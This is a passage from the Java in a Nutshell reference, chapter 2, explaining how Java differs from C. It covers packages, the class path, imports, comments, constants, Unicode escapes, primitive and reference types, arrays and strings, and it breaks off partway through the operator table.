A file of Java source code has the extension .java. It consists of an optional package statement followed by any number of import statements followed by one or more class or interface definitions. (The package and import statements will be introduced shortly.) If more than one class or interface is defined in a Java source file, only one of them may be declared public (i.e., made available outside of the package), and the source file must have the same name as that public class or interface, plus the .java extension.

Each class or interface definition in a .java file is compiled into a separate file. These files of compiled Java byte-codes are known as "class files," and must have the same name as the class or interface they define, with the extension .class appended. For example, the class SoundEffects would be stored in the file SoundEffects.class.

Class files are stored in a directory that has the same components as the package name. If the fully qualified name of a class is david.games.tetris.SoundEffects, for example, the full path of the class file must be david/games/tetris/SoundEffects.class. This filename is interpreted relative to the Java "class path," described below. [2]

[2] We'll use UNIX-style directory specifications in this book. If you are a Windows programmer, simply change all the forward slashes in filenames to backward slashes. Similarly, in path specifications, change colons to semicolons.

Packages of the Java API

The Java 1.1 API consists of the classes and interfaces defined in the twenty-three packages listed in Table 2.1.

Table 2.1: The Packages of the Java API
Package name | Contents
java.applet | Applet classes
java.awt | Graphics, window, and GUI classes
java.awt.datatransfer | Data transfer (e.g., cut-and-paste) classes
java.awt.event | Event processing classes and interfaces
java.awt.image | Image processing classes
java.awt.peer | GUI interfaces for platform independence
java.beans | JavaBeans component model API
java.io | Various types of input and output classes
java.lang | Core language classes
java.lang.reflect | Reflection API classes
java.math | Arbitrary precision arithmetic
java.net | Networking classes
java.rmi | Remote Method Invocation classes
java.rmi.dgc | RMI-related classes
java.rmi.registry | RMI-related classes
java.rmi.server | RMI-related classes
java.security | Security classes
java.security.acl | Security-related classes
java.security.interfaces | Security-related classes
java.sql | JDBC SQL API for database access
java.text | Internationalization classes
java.util | Various useful data types
java.util.zip | Compression and decompression classes

The Java Class Path

The Java interpreter knows where its standard system classes are installed, and loads them from that location as needed. By default, it looks up user-defined classes in or relative to the current directory. You can set the CLASSPATH environment variable to tell the interpreter where to look for user-defined classes. The interpreter always appends the location of its system classes to the end of the path specified by this environment variable. The entries in a class path specification should be directories or ZIP files that contain the classes. The directories in a class path specification should be colon-separated on a UNIX system, and semicolon-separated on a Windows system. For example, on a UNIX system, you might use:

setenv CLASSPATH .:/home/david/classes:/usr/local/javatools/classes.zip

On a Windows system you could use:

setenv CLASSPATH .;C:\david\classes;D:\local\javatools\classes.zip

This tells Java to search in and beneath the specified directories for non-system classes. Note that the current directory (.) is included in these paths.

You can also specify a class path to the Java interpreter with the -classpath command-line argument. Setting this option overides any path specified in the CLASSPATH environment variable. Note that the interpreter does not append the location of the system classes to the end of this path, so you must be sure to specify those system classes yourself. Finally, note that the Java compiler also recognizes and honors class paths specified with the CLASSPATH environment variable and the -classpath command-line argument.

Globally Unique Package Names

The Java designers have proposed an Internet-wide unique package naming scheme that is based on the Internet domain name of the organization at which the package is developed.

Figure 2.1 shows some fully qualified names, which include package, class, and field components.

Figure 2.1: Fully qualified names in Java

[Graphic: Figure 2-1]

Some organizations are following this naming scheme, and producing classes with names like com.sybase.jdbc.SybDriver. Another trend that is developing, however, is for companies to simply use their company name as the first component of their package names, and produce classes like netscape.javascript.JSObject.

The top-level package names java and sun are reserved for use by Sun, of course. Developers should not define new classes within these packages.

The package Statement

The package statement must appear as the first statement (i.e., the first text other than comments and whitespace) in a file of Java source code, if it appears at all. It specifies which package the code in the file is part of. Java code that is part of a particular package has access to all classes (public and non-public) in the package, and to all non-private methods and fields in all those classes. When Java code is part of a named package, the compiled class file must be placed at the appropriate position in the CLASSPATH directory hierarchy before it can be accessed by the Java interpreter or other utilities.

If the package statement is omitted from a file, the code in that file is part of an unnamed default package. This is convenient for small test programs, or during development, because it means that the code can be interpreted from the current directory.

The import Statement

The import statement makes Java classes available to the current class under an abbreviated name. Public Java classes are always available by their fully qualified names, assuming that the appropriate class file can be found (and is readable) relative to the CLASSPATH environment variable. import doesn't actually make the class available or "read it in"; it simply saves you typing and makes your code more legible.

Any number of import statements may appear in a Java program. They must appear, however, after the optional package statement at the top of the file, and before the first class or interface definition in the file.

There are two forms of the import statement:

import package.class ;
import package.* ;

The first form allows the specified class in the specified package to be known by its class name alone. Thus, this import statement allows you to type Hashtable instead of java.util.Hashtable:

import java.util.Hashtable;

The second form of the import statement makes all classes in a package available by their class name. For example, the following import statement is implicit (you need not specify it yourself) in every Java program:

import java.lang.*;

It makes the core classes of the language available by their unqualified class names. If two packages imported with this form of the statement contain classes with the same name, it is an error to use either of those ambiguous classes without using its fully qualified name.

Access to Packages, Classes, and Class Members

Java has the following rules about access to packages, classes, and class members. (Class members are the variables, methods, and, in Java 1.1, nested classes defined within a class). Note that the public, private, and protected keywords used in these rules will be explained in more detail in the next chapter.

  • A package is accessible if the appropriate files and directories are accessible (e.g., if local files have appropriate read permissions, or if they can be downloaded via the network).

  • All classes and interfaces in a package are accessible to all other classes and interfaces in the same package. It is not possible to define classes in Java that are visible only within a single file of source code.

  • A class declared public in one package is accessible within another package, assuming that the package itself is accessible. A non-public class is not accessible outside of its package.

  • Members of a class are accessible from a different class within the same package, as long as they are not declared private. private members are accessible only within their own class.

  • Af member of a class A is accessible from a class B in a different package if A is public and the member is public, or if A is public, the member is protected, and B is a subclass of A.

  • All members of a class are always accessible from within that class.

Local Variables

The name space rules we've been describing apply to packages, classes, and the members within classes. Java also supports local variables, declared within method definitions. These local variables behave just like local variables in C--they do not have globally unique hierarchical names, nor do they have access modifiers like public and private. Local variables are quite different from class fields.

Previous | Home | Next
Program Structure and Environment | Book Index | Comments
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.3 Comments

Java in a Nutshell

Previous Chapter 2
How Java Differs from C 		Next

2.3 Comments

Java supports three types of comments:

  • A standard C-style comment that begins with /* and continues until the next */. As in most implementations of C, this style of comment cannot be nested.

  • A C++-style comment that begins with // and continues until the end of the line.

  • A special "doc comment" that begins with /** and continues until the next */. These comments may not be nested. Doc comments are specially processed by the javadoc program to produce simple online documentation from the Java source code. See Chapter 13, Java Syntax for more information on the doc comment syntax, and Chapter 16, JDK Tools for more information on the javadoc program.

Since C-style comments do not nest, it is a good idea to use C++-style // comments for most of your short comments within method bodies. This allows you to use /* */ comments to comment out large blocks of code when you need to do that during development. This is especially important because, as you will see, Java does not support a preprocessor that allows you to use #if 0 to comment out a block.

Previous | Home | Next
The Name Space: Packages, Classes, and Members | Book Index | No Preprocessor
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.4 No Preprocessor

Java in a Nutshell

Previous Chapter 2
How Java Differs from C 		Next

2.4 No Preprocessor

Java does not include any kind of preprocessor like the C cpp preprocessor. It may seem hard to imagine programming without #define, #include, and #ifdef, but in fact, Java really does not require these constructs.

Defining Constants

Any variable declared final in Java is a constant--its value must be specified with an initializer when it is declared, and that value may never be changed. The Java equivalent of a C #define'ed constant is a static final variable declared within a class definition. If the compiler can compute the value of such a static final variable at compile-time, it uses the computed value to pre-compute other compile-time constants that refer to the value. The variable java.lang.Math.PI is an example of such a constant. It is declared like this:

public final class Math {
    ...
    public static final double PI = 3.14159.....;
    ...
}

Note two things about this example. First, the C convention of using CAPITAL letters for constants is also a Java convention. Second, note the advantage Java constants have over C preprocessor constants: Java constants have globally unique hierarchic names, while constants defined with the C preprocessor always run the risk of a name collision. Also, Java constants are strongly typed and allow better type-checking by the compiler than C preprocessor constants.

Defining Macros

The C preprocessor allows you to define macros--a construct that looks like a function invocation but that is actually replaced directly with C code, saving the overhead of a function call. Java has no equivalent to this sort of macro, but compiler technology has advanced to a point where macros are rarely necessary any more. A good Java compiler should automatically be able to "inline" short Java methods where appropriate.

Including Files

Java does not have a #include directive, but it does not need one. Java defines a mapping of fully qualified class names (like java.lang.Math) to a directory and file structure (like java/lang/Math.class). This means that when the Java compiler needs to read in a specified class file, it knows exactly where to find it and does not need a special directive to tell it where to look.

Furthermore, Java does not make the distinction between declaring a variable or procedure and defining it that C does. This means that there is no need for C-style header files or function prototypes--a single Java object file serves as the interface definition and implementation for a class.

Java does have an import statement, which is superficially similar to the C preprocessor #include directive. What this statement does, however, is tell the compiler that the current file is using the specified classes, or classes from the specified package, and allows us to refer to those classes with abbreviated names. For example, since the compiler implicitly imports all the classes of the java.lang package, we can refer to the constant java.lang.Math.PI by the shorter name Math.PI.

Conditional Compilation

Java does not have any form of the C #ifdef or #if directives to perform conditional compilation. In theory, conditional compilation is not necessary in Java since it is a platform-independent language, and thus there are no platform dependencies that require the technique. In practice, however, conditional compilation is still often useful in Java--to provide slightly different user interfaces on different platforms, for example, or to support optional inclusion of debugging code in programs.

While Java does not define explicit constructs for conditional compilation, a good Java compiler (such as Sun's javac) performs conditional compilation implicitly--that is, it does not compile code if it can prove that the code will never be executed. Generally, this means that code within an if statement testing an expression that is always false is not included. Thus, placing code within an if (false) block is equivalent to surrounding it with #if 0 and #endif in C.

Conditional compilation also works with constants, which, as we saw above, are static final variables. A class might define the constant like this:

private static final boolean DEBUG = false;

With such a constant defined, any code within an if (DEBUG) block is not actually compiled into the class file. To activate debugging for the class, it is only necessary to change the value of the constant to true and recompile the class.

Previous | Home | Next
Comments | Book Index | Unicode and Character Escapes
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.5 Unicode and Character Escapes

Java in a Nutshell

Previous Chapter 2
How Java Differs from C 		Next

2.5 Unicode and Character Escapes

Java characters, strings, and identifiers (e.g., variable, method, and class names) are composed of 16-bit Unicode characters. This makes Java programs relatively easy to internationalize for non-English-speaking users. It also makes the language easier to work with for non-English-speaking programmers--a Thai programmer could use the Thai alphabet for class and method names in her Java code.

If two-byte characters seem confusing or intimidating to you, fear not. The Unicode character set is compatible with ASCII and the first 256 characters (0x0000 to 0x00FF) are identical to the ISO8859-1 (Latin-1) characters 0x00 to 0xFF. Furthermore, the Java language design and the Java String API make the character representation entirely transparent to you. If you are using only Latin-1 characters, there is no way that you can even distinguish a Java 16-bit character from the 8-bit characters you are familiar with. For more information on Unicode, see Chapter 11, Internationalization.

Most platforms cannot display all 38,885 currently defined Unicode characters, so Java programs may be written (and Java output may appear) with special Unicode escape sequences. Anywhere within a Java program (not only within character and string literals), a Unicode character may be represented with the Unicode escape sequence \u xxxx, where xxxx is a sequence of four hexadecimal digits.

Java also supports all of the standard C character escape sequences, such as \n, \t, and \xxx (where \xxxis three octal digits). Note, however, that Java does not support line continuation with \ at the end of a line. Long strings must either be specified on a single long line, or they must be created from shorter strings using the string concatenation (+) operator. (Note that the concatenation of two constant strings is done at compile-time rather than at run-time, so using the + operator in this way is not inefficient.)

There are two important differences between Unicode escapes and C-style escape characters. First, as we've noted, Unicode escapes can appear anywhere within a Java program, while the other escape characters can appear only in character and string constants.

The second, and more subtle, difference is that Unicode \u escape sequences are processed before the other escape characters, and thus the two types of escape sequences can have very different semantics. A Unicode escape is simply an alternative way to represent a character that may not be displayable on certain (non-Unicode) systems. Some of the character escapes, however, represent special characters in a way that prevents the usual interpretation of those characters by the compiler. The following examples make this difference clear. Note that \u0022 and \u005c are the Unicode escapes for the double-quote character and the backslash character.

// \" represents a " character, and prevents the normal
// interpretation of that character by the compiler.
// This is a string consisting of a double-quote character.
String quote = "\"";
// We can't represent the same string with a single Unicode escape.
// \u0022 has exactly the same meaning to the compiler as ".
// The string below turns into """: an empty string followed
// by an unterminated string, which yields a compilation error.
String quote = "\u0022";
// Here we represent both characters of an \" escape as
// Unicode escapes. This turns into "\"", and is the same
// string as in our first example.
String quote = "\u005c\u0022";

Previous | Home | Next
No Preprocessor | Book Index | Primitive Data Types
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.6 Primitive Data Types

Java in a Nutshell

Previous Chapter 2
How Java Differs from C 		Next

2.6 Primitive Data Types

Java adds byte and boolean primitive types to the standard set of C types. In addition, it strictly defines the size and signedness of its types. In C, an int may be 16, 32, or 64 bits, and a char may act signed or unsigned depending on the platform. Not so in Java. In C, an uninitialized local variable usually has garbage as its value. In Java, all variables have guaranteed default values, though the compiler may warn you in places where you rely, accidentally or not, on these default values. Table 2.2 lists Java's primitive data types. The subsections below provide details about these types.

Table 2.2: Java Primitive Data Types
 |  |  |  | Min Value
Type | Contains | Default | Size | Max Value
boolean | true or false | false | 1 bit | N.A.
 |  |  |  | N.A.
char | Unicode character | \u0000 | 16 bits | \u0000
 |  |  |  | \uFFFF
byte | signed integer | 0 | 8 bits | -128
 |  |  |  | 127
short | signed integer | 0 | 16 bits | -32768
 |  |  |  | 32767
int | signed integer | 0 | 32 bits | -2147483648
 |  |  |  | 2147483647
long | signed integer | 0 | 64 bits | -9223372036854775808
 |  |  |  | 9223372036854775807
float | IEEE 754 | 0.0 | 32 bits | +/-3.40282347E+38
 | floating-point |  |  | +/-1.40239846E-45
double | IEEE 754 | 0.0 | 64 bits | +/-1.79769313486231570E+308
 | floating-point |  |  | +/-4.94065645841246544E-324

The boolean Type

boolean values are not integers, may not be treated as integers, and may never be cast to or from any other type. To perform C-style conversions between a boolean value b and an int i, use the following code:

b = (i != 0);   // integer-to-boolean: non-0 -> true; 0 -> false;
i = (b)?1:0;    // boolean-to-integer: true -> 1; false -> 0;

The char Type

char values represent characters. Character literals may appear in a Java program between single quotes. For example:

char c = 'A';

All of the standard C character escapes, as well as Unicode escapes, are also supported in character literals. For example:

char newline = '\n', apostrophe = '\", delete = '\377', aleph='\u05D0';

Values of type char do not have a sign. If a char is cast to a byte or a short, a negative value may result.

The char type in Java holds a two-byte Unicode character. While this may seem intimidating to those not familiar with Unicode and the techniques of program internationalization, it is in fact totally transparent. Java does not provide a way to compute the size of a variable, nor does it allow any sort of pointer arithmetic. What this means is that if you are only using ASCII or Latin-1 characters, there is no way to distinguish a Java char from a C char.

Integral Types

The integral types in Java are byte, short, char, int, and long. Literals for these types are written just as they are in C. All integral types, other than char, are signed. There is no unsigned keyword as there is in C. It is not legal to write long int or short int as it is in C. A long constant may be distinguished from other integral constants by appending the character l or L to it.

Integer division by zero or modulo zero causes an ArithmeticException to be thrown. [3]

[3] Exceptions signal errors in Java. Exception handling is described later in this chapter.

Floating-Point Types

The floating-point types in Java are float and double. Literals for these types are written just as they are in C. Literals may be specified to be of type float by appending an f or F to the value; they may be specified to be of type double by appending a d or D.

float and double types have special values that may be the result of certain floating-point operations: positive infinity, negative infinity, negative zero and not-a-number. The java.lang.Float and java.lang.Double classes define some of these values as constants: POSITIVE_INFINITY, NEGATIVE_INFINITY, and NaN.

NaN is unordered--comparing it to any other number, including itself, yields false. Use Float.isNaN() or Double.isNaN() to test for NaN. Negative zero compares equal to regular zero (positive zero), but the two zeros may be distinguished by division: one divided by negative zero yields negative infinity; one divided by positive zero yields positive infinity.

Floating-point arithmetic never causes exceptions, even in the case of division by zero.

String Literals

Strings in Java are not a primitive type, but are instances of the String class. However, because they are so commonly used, string literals may appear between quotes in Java programs, just as they do in C. When the compiler encounters such a string literal, it automatically creates the necessary String object.

Previous | Home | Next
Unicode and Character Escapes | Book Index | Reference Data Types
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.7 Reference Data Types

Java in a Nutshell

Previous Chapter 2
How Java Differs from C 		Next

2.7 Reference Data Types

The non-primitive data types in Java are objects and arrays. These non-primitive types are often called "reference types" because they are handled "by reference"--in other words, the address of the object or array is stored in a variable, passed to methods, and so on. By comparison, primitive types are handled "by value"--the actual primitive values are stored in variables and passed to methods.

In C, you can manipulate a value by reference by taking its address with the & operator, and you can "dereference" an address with the * and -> operators. These operators do not exist in Java: primitive types are always passed by value; arrays and objects are always passed by reference.

Because objects are passed by reference, two different variables may refer to the same object:

Button p, q;
p = new Button();           // p refers to a Button object.
q = p;                      // q refers to the same Button.
p.setLabel("Ok");           // A change to the object through p...
String s = q.getLabel();    // ...is also visible through q.
                            // s now contains "Ok."

This is not true of primitive types, however:

int i = 3;                  // i contains the value 3.
int j = i;                  // j contains a copy of the value in i.
i = 2;                      // Changing i doesn't change j.
                            // Now, i == 2 and j == 3.

Terminology: Pass by Reference

The statement that Java manipulates objects "by reference" causes confusion for some programmers, because there are several different meanings of "by reference" in common use. Regardless of what we call it, it is important to understand what Java does. Java works with references to objects. A Java variable holds only a reference to an object, not the object itself. When an object is passed to a method, only a reference to the object is actually passed, not the entire object. It is in this sense that Java manipulates objects "by reference."

Some people use the term "pass by reference" to mean that a reference to a variable is passed to a method. Java does not do this. For example, it is not possible to write a working swap() function like the following in Java:

public void swap(Object a, Object b) {
  Object temp = a;
  a = b;
  b = temp;
}

The method parameters a and b contain references to objects, not addresses of variables. Thus, while this swap() function does compile and run, it has no effect except on its own local variables and arguments.

To solve this terminology problem, perhaps we should say that Java manipulates objects "by reference," but it passes object references to methods "by value."

Copying Objects

Because reference types are not passed by value, assigning one object to another in Java does not copy the value of the object. It merely assigns a reference to the object. Consider the following code:

Button a = new Button("Okay");
Button b = new Button("Cancel");
a = b;

After these lines are executed, the variable a contains a reference to the object that b refers to. The object that a used to refer to is lost.

To copy the data of one object into another object, use the clone() method:

Vector b = new Vector;
c = b.clone();

After these lines run, the variable c refers to an object that is a duplicate of the object referred to by b. Note that not all types support the clone() method. Only classes that implement the Cloneable interface may be cloned. For more information on cloning objects, look up java.lang.Cloneable and java.lang.Object.clone() in Chapter 25, The java.lang Package.

Arrays are also reference types, and assigning an array simply copies a reference to the array. To actually copy the values stored in an array, you must assign each of the values individually or use the System.arraycopy() method.

Checking Objects for Equality

Another implication of passing objects by reference is that the == operator tests whether two variables refer to the same object, not whether two objects contain the same values. To actually test whether two separate objects are the same, you must use a specially written method for that object type (just as you might use strcmp() to compare C strings for equality). In Java, a number of classes define an equals() method that you can use to perform this test.

Java Has No Pointers

The referencing and dereferencing of objects is handled for you automatically by Java. Java does not allow you to manipulate pointers or memory addresses of any kind:

  • It does not allow you to cast object or array references into integers or vice-versa.

  • It does not allow you to do pointer arithmetic.

  • It does not allow you to compute the size in bytes of any primitive type or object.

There are two reasons for these restrictions:

  • Pointers are a notorious source of bugs. Eliminating them simplifies the language and eliminates many potential bugs.

  • Pointers and pointer arithmetic could be used to sidestep Java's run-time checks and security mechanisms. Removing pointers allows Java to provide the security guarantees that it does.

To a C programmer, the lack of pointers and pointer arithmetic may seem an odious restriction in Java. But once you get used to the Java object-oriented programming model, it no longer seems like a serious restriction at all. The lack of pointers does mean that you probably can't do things like write UNIX device drivers in Java (at least not without using native methods written in C). But big deal--most of us never have to do this kind of low-level programming anyway.

null

The default value for variables of all reference types is null. null is a reserved value that indicates "an absence of reference"--i.e., that a variable does not refer to any object or array.

In Java, null is a reserved keyword, unlike NULL in C, where it is just a constant defined to be 0. null is an exception to the strong typing rules of Java--it may be assigned to any variable of reference type (i.e., any variable which has a class, interface, or array as its type).

null can't be cast to any primitive type, including integral types and boolean. It shouldn't be considered equal to zero (although it may be implemented this way).

Reference Type Summary

The distinction between primitive types passed by value, and objects and arrays passed by reference is a crucial one in Java. Be sure you understand the following:

  • All objects and arrays are handled by reference in Java. (Those object references are passed-by-value to methods, however.)

  • The = and == operators assign and test references to objects. Use clone() and equals() to actually copy or test the objects themselves.

  • The necessary referencing and dereferencing of objects and arrays is handled automatically by Java.

  • A reference type can never be cast to a primitive type.

  • A primitive type can never be cast to a reference type.

  • There is no pointer arithmetic in Java.

  • There is no sizeof operator in Java.

  • null is a special value that means "no object" or indicates an absence of reference.

Previous | Home | Next
Primitive Data Types | Book Index | Objects
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.8 Objects

Java in a Nutshell

Previous Chapter 2
How Java Differs from C 		Next

2.8 Objects

Now that you know objects are passed by reference, we should discuss how they are created, used, and destroyed. The following subsections provide a very brief overview of objects. Chapter 3, Classes and Objects in Java explains classes and objects in much greater detail.

Creating Objects

Declaring a variable to hold an object does not create the object itself; the variable only holds the reference to the object. To actually create an object, you must use the new keyword. This is followed by the object's class (i.e., its type) and an optional argument list in parentheses. These arguments are passed to the constructor method for the class, which serves to initialize internal fields in the new object. For example:

java.awt.Button b = new java.awt.Button();
ComplexNumber c = new ComplexNumber(1.0, 1.414);

There are actually two other ways to create an object. First, you can create a String object simply by enclosing characters in double quotes:

String s = "This is a test";

Because strings are used so frequently, the Java compiler provides this technique as a shortcut. Another way to create objects is by calling the newInstance() method of a Class object. This technique is generally used only when dynamically loading classes, so we won't discuss it here. In Java 1.1, objects can also be created by "de-serializing" them--i.e., recreating an object that had its state saved through "serialization."

The memory for newly created objects is dynamically allocated. Creating an object with new in Java is like calling malloc() in C to allocate memory for an instance of a struct. It is also, of course, a lot like using the new operator in C++. (Below, we'll see where this analogy to malloc() in C and new in C++ breaks down.)

Accessing Objects

As you've probably noticed in various example code fragments by now, the way you access the fields of an object is with a dot:

ComplexNumber c = new ComplexNumber();
c.x = 1.0;
c.y = -1.414;

This syntax is reminiscent of accessing the fields of a struct in C. Recall, though, that Java objects are always accessed by reference, and that Java performs any necessary dereferencing for you. Thus, the dot in Java is more like -> in C. Java hides the fact that there is a reference here in an attempt to make your programming easier. The other difference between C and Java when accessing objects is that in Java you refer to an object's methods with the same syntax used for fields:

ComplexNumber c = new ComplexNumber(1.0, -1.414);
double magnitude = c.magnitude();

Garbage Collection

Objects in Java are created with the new keyword, but there is no corresponding old or delete keyword or free() method to get rid of them when they are no longer needed. If creating an object with new is like calling malloc() in C or using new in C++, then it would seem that Java is full of memory leaks, because we never call free() or use the delete operator.

In fact, this isn't the case. Java uses a technique called garbage collection to automatically detect objects that are no longer being used (an object is no longer in use when there are no more references to it) and to free them. This means that in our programs, we never need to worry about freeing memory or destroying objects--the garbage collector takes care of that.

If you are a C or C++ programmer, it may take some getting used to to just let allocated objects go without worrying about reclaiming their memory. Once you get used to it, however, you'll begin to appreciate what a nice feature this is. We'll discuss garbage collection in more detail in the next chapter.

Previous | Home | Next
Reference Data Types | Book Index | Arrays
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.9 Arrays

Java in a Nutshell

Previous Chapter 2
How Java Differs from C 		Next

2.9 Arrays

Most of what we learned in the previous sections about reference types and objects applies equally well to arrays in Java:

  • Arrays are manipulated by reference.

  • They are dynamically created with new.

  • They are automatically garbage collected when no longer referred to.

The following subsections explain these and other details.

Creating and Destroying Arrays

There are two ways to create arrays in Java. The first uses new, and specifies how large the array should be:

byte octet_buffer[] = new byte[1024];
Button buttons[] = new Button[10];

Since creating an array does not create the objects that are stored in the array, there is no constructor to call, and the argument list is omitted with this form of the new keyword. The elements of an array created in this way are initialized to the default value for their type. The elements of an array of int are initialized to 0, for example, and the elements of an array of objects are initialized to null. This last point is important to remember: creating an array of objects only allocates storage for object references, not objects themselves. The objects that will be referred to by the elements of the array must be created separately.

The second way to create an array is with an initializer, which looks just like it does in C:

int lookup_table[] = {1, 2, 4, 8, 16, 32, 64, 128};

This syntax dynamically creates an array and initializes its elements to the specified values. The elements specified in an array initializer may be arbitrary expressions. This is different than in C, where they must be constant expressions.

In Java 1.1, arrays may also be created and initialized "anonymously" by combining the new syntax with the initializer syntax. It looks like this:

Menu m = createMenu("File", new String[] { "Open...", "Save", "Quit" });

Arrays are automatically garbage collected, just like objects are.

Multidimensional Arrays

Java also supports multidimensional arrays. These are implemented as arrays-of-arrays, as they are in C. You specify a variable as a multidimensional array type simply by appending the appropriate number of [] pairs after it. You allocate a multidimensional array with new by specifying the appropriate number of elements (between square brackets) for each dimension. For example:

byte TwoDimArray[][] = new byte[256][16];

This statement does three things:

  • Declares a variable named TwoDimArray. This variable has type byte[][] (array-of-array-of-byte).

  • Dynamically allocates an array with 256 elements. The type of this newly allocated array is byte[][], so it can be assigned to the variable we declared. Each element of this new array is of type byte[]--a single-dimensional array of byte.

  • Dynamically allocates 256 arrays of bytes, each of which holds 16 bytes, and stores a reference to these 256 byte[] arrays into the 256 elements of the byte[][] array allocated in the second step. The 16 bytes in each of these 256 arrays are initialized to their default value of 0.

When allocating a multidimensional array, you do not have to specify the number of elements that are contained in each dimension. For example:

int threeD[][][] = new int[10][][];

This expression allocates an array that contains ten elements, each of type int[][]. It is a single-dimensional allocation, although when the array elements are properly initialized to meaningful values, the array will be multidimensional. The rule for this sort of array allocation is that the first n dimensions (where n is at least one) must have the number of elements specified, and these dimensions may be followed by m additional dimensions with no dimension size specified. The following is legal:

String lots_of_strings[][][][] = new String[5][3][][];

This is not:

double temperature_data[][][] = new double[100][][10];  // illegal

Multidimensional arrays can also be allocated and initialized with nested initializers. For example, you might declare the following multidimensional array of strings for use by the getParameterInfo() method of an applet:

String param_info[][] = {
    {"foreground", "Color",  "foreground color"},
    {"background", "Color",  "background color"},
    {"message",    "String", "the banner to display"}
};

Note that since Java implements multidimensional arrays as arrays-of-arrays, multidimensional arrays need not be "rectangular." For example, this is how you could create and initialize a "triangular array":

short triangle[][] = new short[10][];       // A single-dimensional array.
for(int i = 0; i < triangle.length; i++) {  // For each element of that array
    triangle[i] = new short[i+1];           // Allocate a new array.
    for(int j=0; j < i+1; j++)              // For each element of new array
        triangle[i][j] = (short) i + j;     // Initialize it to a value.
}

You can also declare and initialize non-rectangular arrays with nested initializers:

static int[][] twodim = {{1, 2}, {3, 4, 5}, {5, 6, 7, 8}};

To simulate multiple dimensions within a single-dimensional array, you'd use code just as you would in C:

final int rows = 600;
final int columns = 800;
byte pixels[] = new byte[rows*columns];
// access element [i,j] like this:
byte b = pixels[i + j*columns];

Accessing Array Elements

Array access in Java is just like array access in C--you access an element of an array by putting an integer-valued expression between square brackets after the name of the array.

int a[] = new int[100];
a[0] = 0;
for(int i = 1; i < a.length; i++) a[i] = i + a[i-1];

Notice how we computed the number of elements of the array in this example--by accessing the length field of the array. This is the only field that arrays support. Note that it is a constant (final) field--any attempt to store a value into the length field of an array will fail.

In all Java array references, the index is checked to make sure it is not too small (less than zero) or too big (greater than or equal to the array length). If the index is out of bounds, an ArrayIndexOutOfBoundsException is thrown. [4] This is another way that Java works to prevent bugs (and security problems).

[4] The discussion of exceptions and exception handling is still to come.

Are Arrays Objects?

It is useful to consider arrays to be a separate kind of reference type from objects. In some ways, though, arrays behave just like objects. As we saw, arrays use the object syntax .length to refer to their length. Arrays may also be assigned to variables of type Object, and the methods of the Object class may be invoked for arrays. (Object is the root class in Java, which means that all objects can be assigned to a variable of type Object and all objects can invoke the methods of Object.)

The evidence suggests that arrays are, in fact, objects. Java defines enough special syntax for arrays, however, that it is still most useful to consider them a different kind of reference type than objects.

Declaring Array Variables and Arguments

In C, you declare an array variable or array function argument by placing square brackets next to the variable name:

void reverse(char strbuf[], int buffer_size)  {
    char buffer[500];
        ...
}

In Java, you would have to declare buffer as an array variable, and then allocate the array itself with new, but otherwise you could use the same syntax, with the array brackets after the variable or argument name.

However, Java also allows you to put the array brackets after the type name instead. So you could rewrite this code fragment to look something like this:

void reverse(char[] strbuf, int buffer_size) {
    char[] buffer = new char[500];
        ...
}

In a lot of ways, this new array syntax is easier to read and easier to understand. (It doesn't work in C, by the way, because pointers make C's type declaration syntax a real mess.) The only problem with this new syntax is that if you get in the habit of using it, it will make it harder for you when you (hopefully only occasionally!) have to switch back and program in C.

Java even allows you to mix the declaration styles, which is something you may find occasionally useful (or frequently confusing!) for certain data structures or algorithms. For example:

// row and column are arrays of byte.
// matrix is an array of an array of bytes.
byte[] row, column, matrix[];
// This method takes an array of bytes and an
// array of arrays of bytes.
public void dot_product(byte[] column, byte[] matrix[]) { ... }

A final point to note about array declarations is that (as we've seen throughout this section) the size of an array is not part of its type as it is in C. Thus, you can declare a variable to be of type String[], for example, and assign any array of String objects to it, regardless of the length of the array:

String[] strings;           // this variable can refer to any String array
strings = new String[10];   // one that contains 10 Strings
strings = new String[20];   // or one that contains 20.

Previous | Home | Next
Objects | Book Index | Strings
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.10 Strings

Java in a Nutshell

Previous Chapter 2
How Java Differs from C 		Next

2.10 Strings

Strings in Java are not null-terminated arrays of characters as they are in C. Instead, they are instances of the java.lang.String class. Java strings are unusual, in that the compiler treats them almost as if they were primitive types--for example, it automatically creates a String object when it encounters a double-quoted constant in the program. And, the language defines an operator that operates on String objects--the + operator for string concatenation.

An important feature of String objects is that they are immutable--i.e., there are no methods defined that allow you to change the contents of a String. If you need to modify the contents of a String, you have to create a StringBuffer object from the String object, modify the contents of the StringBuffer, and then create a new String from the contents of the StringBuffer.

Note that it is moot to ask whether Java strings are terminated with a NUL character (\u0000) or not. Java performs run-time bounds checking on all array and string accesses, so there is no way to examine the value of any internal terminator character that appears after the last character of the string.

Both the String and StringBuffer classes are documented in Chapter 25, The java.lang Package, and you'll find a complete set of methods for string handling and manipulation there. Some of the more important String methods are: length(), charAt(), equals(), compareTo(), indexOf(), lastIndexOf(), and substring().

Previous | Home | Next
Arrays | Book Index | Operators
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.11 Operators

Java in a Nutshell

Previous Chapter 2
How Java Differs from C 		Next

2.11 Operators

Java supports almost all of the standard C operators. These standard operators have the same precedence and associativity in Java as they do in C. They are listed in Table 2.3 and also in quick reference form in Chapter 13, Java Syntax.

Table 2.3: Java Operators
Prec. | Operator | Operand Type(s) | Assoc. | Operation Performed
1 | ++ | arithmetic | R | pre-or-post increment
 |  |  |  | (unary)
 | -- | arithmetic | R | pre-or-post decrement (unary)
 | +, - | arithmetic | R | unary plus, unary minus
 | ~ | integral | R | bitwise complement (unary)
 | ! | boolean | R | logical complement (unary)
 | (type) | any | R | cast
2 | *, /, % | arithmetic | L | multiplication, division, remainder
3 | +, - | arithmetic | L | addition, subtraction
 | + | string | L | string concatenation
4 | << | integral | L | left shift
 | >> | integral | L | right shift with sign extension
 | >>> | integral | L | right shift with zero extension
